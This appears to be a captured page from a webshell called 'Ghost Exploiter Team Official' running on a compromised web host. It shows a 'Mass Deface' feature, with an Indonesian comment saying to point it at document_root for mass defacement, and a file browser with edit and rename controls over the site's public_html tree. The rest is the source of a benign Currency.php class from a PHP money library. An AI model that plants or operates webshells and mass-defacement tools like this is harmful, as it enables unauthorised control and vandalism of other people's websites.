webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
moneyphp
/
money
/
src
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Calculator
--
ren
Currencies
--
ren
Exception
--
ren
Exchange
--
ren
Formatter
--
ren
PHPUnit
--
ren
Parser
--
ren
Calculator.php
3.661KB
edt
ren
Converter.php
2.364KB
edt
ren
Currencies.php
0.71KB
edt
ren
Currency.php
1.001KB
edt
ren
CurrencyPair.php
3.139KB
edt
ren
Exception.php
0.143KB
edt
ren
Exchange.php
0.561KB
edt
ren
Money.php
14.954KB
edt
ren
MoneyFactory.php
30.346KB
edt
ren
MoneyFormatter.php
0.302KB
edt
ren
MoneyParser.php
0.335KB
edt
ren
Number.php
9.084KB
edt
ren
Teller.php
12.941KB
edt
ren
<?php declare(strict_types=1); namespace Money; use JsonSerializable; use function strtoupper; /** * Currency Value Object. * * Holds Currency specific data. * * @psalm-immutable */ final class Currency implements JsonSerializable { /** * Currency code. * * @psalm-var non-empty-string */ private string $code; /** @psalm-param non-empty-string $code */ public function __construct(string $code) { $this->code = strtoupper($code); } /** * Returns the currency code. * * @psalm-return non-empty-string */ public function getCode(): string { return $this->code; } /** * Checks whether this currency is the same as an other. */ public function equals(Currency $other): bool { return $this->code === $other->code; } public function __toString(): string { return $this->code; } public function jsonSerialize(): string { return $this->code; } }